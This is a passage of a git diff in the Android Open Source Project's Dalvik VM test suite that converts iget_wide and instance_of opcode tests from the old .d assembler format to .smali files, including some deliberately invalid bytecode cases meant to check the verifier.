-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_5.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_5
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_5.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali
new file mode 100644
index 0000000..3478cf0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_5.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d
deleted file mode 100644
index ba13f26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_6.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       
-       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_wide/TestStubs/<init>()V
-       
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.TestStubs.TestStubField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali
new file mode 100644
index 0000000..e98a056
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_6.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       
+       new-instance v0, Ldot/junit/opcodes/iget_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_wide/TestStubs;-><init>()V
+       
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d
deleted file mode 100644
index 572fdbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_7.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v0, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_7no_class.i1 J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali
new file mode 100644
index 0000000..541cb50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_7.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v0, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d
deleted file mode 100644
index 96b8c56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_8.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       iget-wide v1, v2, dot.junit.opcodes.iget_wide.d.T_iget_wide_8.i1N J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali
new file mode 100644
index 0000000..95479d8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_8.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       iget-wide v1, v2, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d
deleted file mode 100644
index 3cb12cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_wide_9.java
-.class public dot.junit.opcodes.iget_wide.d.T_iget_wide_9
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       const v0, 0
-       iget-wide v1, v0, dot.junit.opcodes.iget_wide.d.T_iget_wide_9.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali
new file mode 100644
index 0000000..2304f4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_wide/d/T_iget_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_wide_9.java"
+.class  public Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       const v0, 0
+       iget-wide v1, v0, Ldot/junit/opcodes/iget_wide/d/T_iget_wide_9;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d
deleted file mode 100644
index 4741d35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_1.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Z
-.limit regs 5
-
-       instance-of v0, v4, java/lang/String
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali
new file mode 100644
index 0000000..d4a4800
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_1;
+.super Ljava/lang/Object;
+.source "T_instance_of_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(Ljava/lang/Object;)Z
+    .registers 5
+
+    instance-of v0, p1, Ljava/lang/String;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d
deleted file mode 100644
index 1299b54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.d
+++ /dev/null
@@ -1,119 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestStubs.java
-.interface public dot.junit.opcodes.instance_of.d.T_instance_of_2.SuperInterface
-
-.source TestStubs.java    
-.interface public dot.junit.opcodes.instance_of.d.T_instance_of_2.SuperInterface2
-
-.source TestStubs.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_2.SuperClass 
-.super java/lang/Object
-.implements dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface
-    
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method    
-
-.source TestStubs.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_2.SubClass 
-.super dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass/<init>()V
-       return-void
-.end method
-
-
-.source T_instance_of_2.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 20
-
-    const v0, 0
-    
-; (SubClass instanceof SuperClass)    
-    new-instance v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass/<init>()V
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass
-    if-eqz v15, LabelExit
-    
-; (SubClass[] instanceof SuperClass[])    
-    const v11, 1
-    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
-    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
-    if-eqz v15, LabelExit
-
-; (SubClass[] instanceof Object)    
-    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
-    instance-of v15, v10, java/lang/Object
-    if-eqz v15, LabelExit
-    
-; (SubClass instanceof SuperInterface)    
-    new-instance v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass/<init>()V    
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface
-    if-eqz v15, LabelExit
-
-; !(SuperClass instanceof SubClass)    
-    new-instance v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass
-    invoke-direct {v10}, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass/<init>()V
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass
-    if-nez v15, LabelExit
-        
-; !(SubClass instanceof SuperInterface2)    
-    new-instance v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass
-    invoke-direct {v10}, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass/<init>()V    
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface2
-    if-nez v15, LabelExit
-
-; !(SubClass[] instanceof SuperInterface)    
-    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface
-    if-nez v15, LabelExit
-
-; !(SubClass[] instanceof SubClass)    
-    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
-    instance-of v15, v10, dot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass
-    if-nez v15, LabelExit
-    
-; !(SuperClass[] instanceof SubClass[])    
-    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
-    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
-    if-nez v15, LabelExit
-    
-    const v0, 1
-    
-LabelExit:        
-    return v0
-    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali
new file mode 100644
index 0000000..ad5c680
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SubClass.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+.super Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali
new file mode 100644
index 0000000..2d71e83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali
new file mode 100644
index 0000000..879ce45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..599824c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali
new file mode 100644
index 0000000..43f19b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_2.smalis/T_instance_of_2.smali
@@ -0,0 +1,113 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/instance_of/d/T_instance_of_2;
+.super Ljava/lang/Object;
+.source "T_instance_of_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 20
+
+    const v0, 0x0
+
+# (SubClass instanceof SuperClass)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass[] instanceof SuperClass[])
+    const v11, 0x1
+
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass[] instanceof Object)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ljava/lang/Object;
+
+    if-eqz v15, :cond_4b
+
+# (SubClass instanceof SuperInterface)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+    if-eqz v15, :cond_4b
+
+# !(SuperClass instanceof SubClass)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass instanceof SuperInterface2)
+    new-instance v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;-><init>()V
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface2;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass[] instanceof SuperInterface)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperInterface;
+
+    if-nez v15, :cond_4b
+
+# !(SubClass[] instanceof SubClass)
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    instance-of v15, v10, Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+# !(SuperClass[] instanceof SubClass[])
+    new-array v10, v11, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SuperClass;
+
+    instance-of v15, v10, [Ldot/junit/opcodes/instance_of/d/T_instance_of_2/SubClass;
+
+    if-nez v15, :cond_4b
+
+    const v0, 0x1
+
+    :cond_4b
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d
deleted file mode 100644
index 6705dcf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/instance_of/d/T_instance_of_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_instance_of_3.java
-.class public dot.junit.opcodes.instance_of.d.T_instance_of_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
